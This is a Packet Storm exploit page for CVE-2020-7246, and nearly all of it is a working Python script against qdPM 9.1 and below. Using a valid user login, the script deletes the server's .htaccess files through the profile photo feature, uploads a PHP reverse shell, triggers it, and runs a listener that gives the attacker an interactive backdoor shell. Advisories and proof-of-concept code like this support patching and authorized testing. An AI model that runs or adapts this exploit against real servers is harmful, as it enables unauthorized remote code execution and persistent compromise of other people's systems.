exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

qdPM Remote Code Execution

qdPM Remote Code Execution
Posted Feb 28, 2020
Authored by Tobin Shields

qdPM versions prior to 9.1 suffer from a remote shell upload vulnerability that allows for remote code execution.

tags | exploit, remote, shell, code execution
advisories | CVE-2020-7246
SHA-256 | 7378aebe88336076527073b99083cdd137d3c12ddaf2cf587f30f8479d285a3d

qdPM Remote Code Execution

Change Mirror Download
#!/usr/bin/python

#-------------------------------------------------------------------------------------
# Title: qdPM Webshell Upload + RCE Exploit (qdPMv9.1 and below) (CVE-2020-7246)
# Author: Tobin Shields (@TobinShields)
#
# Description: This is an exploit to automatically upload a PHP web shell to
# the qdPM platform via the "upload a profile photo" feature.
# This method also bypasses the fix put into place from a previous CVE
#
# Usage: In order to leverage this exploit, you must know the credentials of
# at least one user. Then, you should modify the values highlighted below.
# You will also need a .php web shell payload to upload. This exploit
# was built and tested using the PHP script built by pentestmonkey:
# https://github.com/pentestmonkey/php-reverse-shell
#-------------------------------------------------------------------------------------

# Imports
from requests import Session
from bs4 import BeautifulSoup as bs
import socket
from multiprocessing import Process
import time

# CHANGE THESE VALUES-----------------------------------------------------------------
login_url = "http://[victim_domain]/path/to/qdPM/index.php/login"
username = "jsmith@example.com"
password = "Pa$$w0rd"
payload = "/path/to/payload.php"
listner_port = 1234 # This should match your PHP payload
connection_delay = 2 # Increase this value if you have a slow connection and are experiencing issues
# ------------------------------------------------------------------------------------

# Build the myAccout URL from the provided URL
myAccount_url = login_url.replace("login", "myAccount")

# PROGRAM FUNCTIONS -----------------------------------------------------------------
# Utility function for anytime a page needs to be requested and parsed via bs4
def requestAndSoupify(url):
page = s.get(url)
soup = bs(page.content, "html.parser")
return soup

# Function to log into the application, and supply the correct username/password
def login(url):
# Soupify the login page
login_page = requestAndSoupify(url)
# Grab the csrf token
token = login_page.find("input", {"name": "login[_csrf_token]"})["value"]
# Build the POST values
login_data = {
"login[email]": username,
"login[password]": password,
"login[_csrf_token]": token
}
# Send the login request
s.post(login_url, login_data)

# Function to get the base values for making a POST request from the myAccount page
def getPOSTValues():
myAccount_soup = requestAndSoupify(myAccount_url)
# Search for the 'base' POST data needed for any requests
u_id = myAccount_soup.find("input", {"name": "users[id]"})["value"]
token = myAccount_soup.find("input", {"name": "users[_csrf_token]"})["value"]
u_name = myAccount_soup.find("input", {"name": "users[name]"})["value"]
u_email = myAccount_soup.find("input", {"name": "users[email]"})["value"]
# Populate the POST data object
post_data = {
"users[id]": u_id,
"users[_csrf_token]": token,
"users[name]": u_name,
"users[email]": u_email,
"users[culture]": "en" # Keep the language English--change this for your victim locale
}
return post_data

# Function to remove the a file from the server by exploiting the CVE
def removeFile(file_to_remove):
# Get base POST data
post_data = getPOSTValues()
# Add the POST data to remove a file
post_data["users[photo_preview]"] = file_to_remove
post_data["users[remove_photo]"] = 1
# Send the POST request to the /update page
s.post(myAccount_url + "/update", post_data)
# Print update to user
print("Removing " + file_to_remove)
# Sleep to account for slow connections
time.sleep(connection_delay)

# Function to upload the payload to the server
def uploadPayload(payload):
# Get payload name from supplied URI
payload_name = payload.rsplit('/', 1)[1]
# Request page and get base POST files
post_data = getPOSTValues()
# Build correct payload POST header by dumping the contents
payload_file = {"users[photo]": open(payload, 'rb')}
# Send POST request with base data + file
s.post(myAccount_url + "/update", post_data, files=payload_file)
# Print update to user
print("Uploading " + payload_name)
# Sleep for slow connections
time.sleep(connection_delay)

# A Function to find the name of the newly uploaded payload
# NOTE: We have to do this because qdPM adds a random number to the uploaded file
# EX: webshell.php becomes 1584009-webshell.php
def getPayloadURL():
myAccount_soup = requestAndSoupify(myAccount_url)
payloadURL = myAccount_soup.find("img", {"class": "user-photo"})["src"]
return payloadURL

# Function to handle creating the webshell listener and issue commands to the victim
def createBackdoorListener():
# Set up the listening socket on localhost
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "0.0.0.0"
port = listner_port # Specified at the start of this script by user
server_socket.bind((host, port))
server_socket.listen(2)
victim, address = server_socket.accept()
# Print update to user once the connection is made
print("Received connection from: " + str(address))

# Simulate a terminal and build a pusdo-prompt using the victem IP
prompt = "backdoor@" + str(address[0]) + ":~$ "

# Grab the first response from the victim--this is usually OS info
response = victim.recv(1024).decode('utf-8')
print(response)
print("\nType 'exit' at any time to close the connection")

# Maintain the connection and send data back and forth
while True:
# Grab the command from the user
command = input(prompt)
# If they type "exit" then close the socket
if 'exit' in command:
victim.close()
server_socket.close()
print("Disconnecting, please wait...")
break
# For all other commands provided
else:
# Encode the command to be properly sent via the socket & send the command
command = str.encode(command + "\n")
victim.send(command)
# Grab the response to the command and decode it
response = victim.recv(1024).decode('utf-8')
# For some odd reason you have to hit "enter" after sending the command to receive the output
# TODO: Fix this so it works on a single send? Although it might just be the PHP webshell
victim.send(str.encode("\n"))
response = victim.recv(1024).decode('utf-8')
# If a command returns nothing (i.e. a 'cd' command, it prints a "$"
# This is a confusing output so it will omit this output
if response.strip() != "$":
print(response)

# Trigger the PHP to run by making a page request
def triggerShell(s, payloadURL):
pageReq = s.get(payloadURL)

# MAIN FUNCTION ----------------------------------------------------------------------
# The main function of this program establishes a unique session to issue the various POST requests
with Session() as s:
# Login as know user
login(login_url)
# Remove Files
# You may need to modify this list if you suspect that there are more .htaccess files
# However, the default qdPM installation just had these two
files_to_remove = [".htaccess", "../.htaccess"]
for f in files_to_remove:
removeFile(f)
# Upload payload
uploadPayload(payload)
# Get the payload URL
payloadURL = getPayloadURL()
# Start a thread to trigger the script with a web request
process = Process(target=triggerShell, args=(s, payloadURL))
process.start()
# Create the backdoor listener and wait for the above request to trigger
createBackdoorListener()
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close